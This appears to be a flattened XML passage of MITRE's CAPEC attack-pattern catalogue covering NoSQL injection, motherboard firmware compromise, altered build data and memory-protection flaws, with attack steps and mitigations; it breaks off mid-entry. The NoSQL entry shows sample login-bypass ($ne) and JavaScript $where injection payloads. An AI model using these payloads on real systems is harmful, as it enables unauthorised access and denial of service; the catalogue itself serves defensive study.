Related_Weaknesses + + + + + + + + + + + + #CAPEC-676 + NoSQL Injection + + + + + + + + + 676 + + + + + NoSQL Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;NoSQL database calls are written in an application's programming language, via a custom API call, or formatted in a common convention (e.g., JSON, XML, etc.), any of which the adversary can exploit to achieve the aforementioned goals. NoSQL attacks usually result from improper sanitization and validation of data that originates from a user, either via special character or JavaScript injection. In both cases, the adversary crafts input strings so that when the target software constructs NoSQL statements based on the input, the resulting NoSQL statement performs actions other than those intended by the application. However, unlike traditional SQL Injection attacks, NoSQL injection attacks can also occur in instances where the application does not rely upon user input, as is the case in operator replacements. This entails the adversary overriding reserved NoSQL variable names with ones that have been modified with malicious functionality (e.g., $where in MongoDB). In all cases, depending on the NoSQL API and data model used, successful injection can cause information disclosure, data modification, and code execution at the application level.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Note: NoSQL Injection attacks are executed within a procedural language (e.g., C, C++, Perl), as opposed to the declarative SQL language itself. As a result, NoSQL injection attacks can potentially result in greater impacts than traditional SQL Injection attacks [REF-668].&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41268 + Related_Attack_Pattern_41268 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep41271 + Attack_Step_41271 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey target application] Due to the number of NoSQL databases available and the numerous language/API combinations of each, the adversary must first survey the target application to learn what technologies are being leveraged and how they interact with user-driven data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine the technology stack leveraged by the target application, such as the application server, drivers, frameworks, APIs, and databases being utilized.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify areas of the application that interact with user input and may be involved with NoSQL queries.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep41278 + Attack_Step_41278 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify user-controllable input susceptible to injection] After identifying the technology stack being used and where user-driven input is leveraged, determine the user-controllable input susceptible to injection such as authentication or search forms. For each user-controllable input that the adversary suspects is vulnerable to NoSQL injection, attempt to inject characters or keywords that have special meaning in the given NoSQL database or language (e.g., "$ne" for MongoDB or "$exists" for PHP/MongoDB), or JavaScript that can be executed within the application. The goal is to create a NoSQL query with an invalid syntax.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use web browser to inject input through text fields or through HTTP GET parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use network-level packet injection tools such as netcat to inject input</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use modified client (modified by reverse engineering) to inject input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep41287 + Attack_Step_41287 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Experiment with NoSQL Injection vulnerabilities] After determining that a given input is vulnerable to NoSQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, modify/delete information in the database, or execute commands on the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use public resources such as OWASP's "Testing for NoSQL Injection" [REF-668] or Null Sweep's "NoSQL Injection Cheatsheet" [REF-669] and try different approaches for adding logic to NoSQL queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Iteratively add logic to the NoSQL query and use detailed error messages from the server to debug the query.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt an HTTP Parameter Pollution attack to replace language-specific keywords, such as "where" within PHP [CAPEC-460].</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep41295 + Attack_Step_41295 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit NoSQL Injection vulnerability] After refining and adding various logic to NoSQL queries, craft and execute the underlying NoSQL query that will be used to attack the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Craft and Execute underlying NoSQL query</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Awareness of the technology stack being leveraged by the target application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">NoSQL queries used by the application to store, retrieve, or modify data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User-controllable input that is not properly validated by the application as part of NoSQL queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target potentially susceptible to operator replacement attacks.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41309 + Skill_41309 + + + + + + + + + + + + + + For keyword and JavaScript injection attacks, it is fairly simple for someone with basic NoSQL knowledge to perform NoSQL injection, once the target's technology stack has been determined. + + + + + + + + + + + + #indSkillSkill41310 + Skill_41310 + + + + + + + + + + + + + + For operator replacement attacks, the adversary must also have knowledge of HTTP Parameter Pollution attacks and how to conduct them. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Too many false or invalid queries to the database, especially those caused by malformed input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Executed queries or commands that appear to malicious in nature or originating from an untrustworthy source.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence41320 + Consequence_41320 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41324 + Consequence_41324 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41328 + Consequence_41328 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence41335 + Consequence_41335 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as relevant NoSQL and JavaScript content. NoSQL-specific keywords, such as $ne, $eq or $gt for MongoDB, must be filtered in addition to characters such as a single-quote(') or semicolons (;) based on the context in which they appear. Validation should also extend to expected types.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If possible, leverage safe APIs (e.g., PyMongo and Flask-PyMongo for Python and MongoDB) for queries as opposed to building queries from strings.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure the most recent version of a NoSQL database and it's corresponding API are used by the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of custom error pages - Adversaries can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exercise the principle of Least Privilege with regards to application accounts to minimize damage if a NoSQL injection attack is successful.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If using MongoDB, disable server-side JavaScript execution and leverage a sanitization module such as "mongo-sanitize".</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If using PHP with MongoDB, ensure all special query operators (starting with $) use single quotes to prevent operator replacement attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Additional mitigations will depend on the NoSQL database, API, and programming language leveraged by the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following examples primarily cite MongoDB, PHP, and NodeJS attacks due to their prominence and popularity. However, please note that these attacks are not exclusive to this NoSQL instance, programming language, or runtime framework.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Within NodeJS, Login Bypass attacks are possible via MongoDB if user-input is not properly validated and sanitized [REF-670].&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt;//NodeJS with Express.js&lt;xhtml:div style="margin-left:1em;"&gt;db.collection('users').find({&lt;xhtml:div style="margin-left:1em;"&gt;"user": req.query.user,&lt;xhtml:br&gt;&lt;/xhtml:br&gt;"password": req.query.password&lt;/xhtml:div&gt;});&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;&lt;/xhtml:br&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The above code works fine if the user were to submit a query like the following:&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;https://example.org/login?user=patrick&amp;amp;password=1234&lt;/xhtml:p&gt; + &lt;xhtml:br xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;&lt;/xhtml:br&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;But an adversary could submit a malicious query such as the below, which would be interpreted by the code as follows:&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;https://example.org/login?user=patrick&amp;amp;password[$ne]=&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;//NodeJS with Express.js&lt;xhtml:div style="margin-left:1em;"&gt;db.collection('users').find({&lt;xhtml:div style="margin-left:1em;"&gt;"user": bob,&lt;xhtml:br&gt;&lt;/xhtml:br&gt;"password": {"&amp;amp;ne": ""}&lt;/xhtml:div&gt;});&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This will result in a Login Bypass attack, as the query will succeed for all values where Bob's password is not an empty string.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;MongoDB instances are also vulnerable to JavaScript Injection Attacks when user input is not properly validated and sanitized.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt;//PHP with MongoDB&lt;xhtml:div style="margin-left:1em;"&gt;db.collection.find({$where: function() {&lt;xhtml:div style="margin-left:1em;"&gt;return (this.username == $username) } } );&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;&lt;/xhtml:br&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the user properly specifies a username, then this code will execute as intended. However, an adversary can inject JavaScript into the "$username" variable to achieve a NoSQL Injection attack as follows:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;//PHP with MongoDB&lt;xhtml:div style="margin-left:1em;"&gt;db.collection.find({$where: function() {&lt;xhtml:div style="margin-left:1em;"&gt;return (this.username == 'foo'; sleep(5000) ) } } );&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This will result in the server sleeping for 5 seconds if the attack was successful. An adversary could supply a larger value to deny service to the application.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If leveraging PHP with MongoDB, operator replacement attacks are possible if special query operators are not properly addressed. The below example from OWASP's "Test for NoSQL Injection" displays a simple case of how this could occur.[REF-668]&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt;db.myCollection.find({$where: function() {&lt;xhtml:div style="margin-left:1em;"&gt;return obj.credits - obj.debits &amp;lt; 0; } } );&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;&lt;/xhtml:br&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Even though the above query does not depend on any user input, it is vulnerable to a NoSQL injection attack via operator replacement on the "$where" keyword. In this case, the adversary could exploit MongoDB in the following manner:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;$where: function() { //arbitrary JavaScript here }&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 943 + + + + + 1286 + + + + + + + + + + + + #indReferenceReference41394 + Reference_41394 + + + + + + + + + REF-668 + + + + + + + + + + + + #indReferenceReference41395 + Reference_41395 + + + + + + + + + REF-669 + + + + + + + + + + + + #indReferenceReference41396 + Reference_41396 + + + + + + + + + REF-670 + + + + + + + + + + + + #indReferenceReference41397 + Reference_41397 + + + + + + + + + REF-671 + + + + + + + + + + + + #indContentHistoryContentHistory41399 + Content_History_41399 + + + + + + + + + + + + + + + + #indSubmissionSubmission41400 + Submission_41400 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + + + + + + + + #indModificationModification41405 + Modification_41405 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-677 + Server Motherboard Compromise + + + + + + + + + 677 + + + + + Server Motherboard Compromise + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Malware is inserted in a server motherboard (e.g., in the flash memory) in order to alter server functionality from that intended. The development environment or hardware/software support activity environment is susceptible to an adversary inserting malicious software into hardware components during development or update.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41421 + Related_Attack_Pattern_41421 + + + + + + + + + + + + + + 534 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with access to hardware/software processes and tools within the development or hardware/software support environment can insert malicious software into hardware components during development or update/maintenance.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence41427 + Consequence_41427 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Purchase IT systems, components and parts from government approved vendors whenever possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Establish diversity among suppliers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conduct rigorous threat assessments of suppliers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require that Bills of Material (BoM) for critical parts and components be certified.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize contract language requiring contractors and subcontractors to flow down to subcontractors and suppliers SCRM and SCRA (Supply Chain Risk Assessment) requirements.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Establish trusted supplier networks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Malware is inserted into the Unified Extensible Firmware Interface (UEFI) software that resides on a flash memory chip soldered to a computer’s motherboard. It is the first thing to turn on when a system is booted and is allowed access to almost every part of the operating system. Hence, the malware will have extensive control over operating system functions and persist after system reboots. [REF-685]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference41452 + Reference_41452 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference41453 + Reference_41453 + + + + + + + + + REF-660 + + + + + + + + + + + + #indReferenceReference41454 + Reference_41454 + + + + + + + + + REF-685 + + + + + + + + + + + + #indContentHistoryContentHistory41456 + Content_History_41456 + + + + + + + + + + + + + + + + #indSubmissionSubmission41457 + Submission_41457 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + + + + + + + + #indModificationModification41462 + Modification_41462 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification41468 + Modification_41468 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated @Name + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName41474 + Previous_Entry_Name_41474 + + + + + + + + + 2023-01-24 + + + + + Server Functionality Compromise + + + + + + + + + + + + #CAPEC-678 + System Build Data Maliciously Altered + + + + + + + + + 678 + + + + + System Build Data Maliciously Altered + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;During the system build process, the system is deliberately misconfigured by the alteration of the build data. Access to system configuration data files and build processes is susceptible to deliberate misconfiguration of the system.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41485 + Related_Attack_Pattern_41485 + + + + + + + + + + + + + + 444 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary has access to the data files and processes used for executing system configuration and performing the build.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence41491 + Consequence_41491 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41495 + Consequence_41495 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41499 + Consequence_41499 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement configuration management security practices that protect the integrity of software and associated data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor and control access to the configuration management system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Harden centralized repositories against attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Establish acceptance criteria for configuration management check-in to assure integrity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Plan for and audit the security of configuration management administration processes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain configuration control over operational systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;‘Make’ is a program used for building executable programs and libraries from source code by executing commands and following rules in a ‘makefile’. It can create a malicious executable if commands or dependency paths in the makefile are maliciously altered to execute an unwanted command or reference as a dependency maliciously altered code.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indReferenceReference41525 + Reference_41525 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference41526 + Reference_41526 + + + + + + + + + REF-660 + + + + + + + + + + + + #indContentHistoryContentHistory41528 + Content_History_41528 + + + + + + + + + + + + + + + + #indSubmissionSubmission41529 + Submission_41529 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + + + + + + + + #indModificationModification41534 + Modification_41534 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification41540 + Modification_41540 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-679 + Exploitation of Improperly Configured or Implemented Memory Protections + + + + + + + + + 679 + + + + + Exploitation of Improperly Configured or Implemented Memory Protections + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary takes advantage of missing or incorrectly configured access control within memory to read/write data or inject malicious code into said memory.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Hardware product designs often need to implement memory protection features to prevent users from reading and modifying memory reserved for security operations such as secure booting, authenticating code, device attestation, and more. However, these protection features may be missing if not configured by developers. For example, this can occur if the developers assume these features are configured elsewhere. Additionally, developers often attempt to impose proper protection features, but may incorrectly configure these controls. One such example would be setting controls with insufficient granularity for protected address regions. If an adversary is able to discover improper access controls surrounding memory, it could result in the adversary obtaining sensitive data, executing code, circumventing security mechanisms, escalating privileges, or even denying service to higher privilege software.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41561 + Related_Attack_Pattern_41561 + + + + + + + + + + + + + + 1 + + + + + 513 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41564 + Related_Attack_Pattern_41564 + + + + + + + + + + + + + + 180 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the hardware being leveraged.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41572 + Skill_41572 + + + + + + + + + + + + + + Ability to craft malicious code to inject into the memory region. + + + + + + + + + + + + #indSkillSkill41573 + Skill_41573 + + + + + + + + + + + + + + Intricate knowledge of memory structures. + + + + + + + + + + + + #indConsequenceConsequence41576 + Consequence_41576 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41580 + Consequence_41580 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41584 + Consequence_41584 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence41591 + Consequence_41591 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that protected and unprotected memory ranges are isolated and do not overlap.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If memory regions must overlap, leverage memory priority schemes if memory regions can overlap.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that original and mirrored memory regions apply the same protections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure immutable code or data is programmed into ROM or write-once memory.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A hardware product contains non-volatile memory, which itself contains 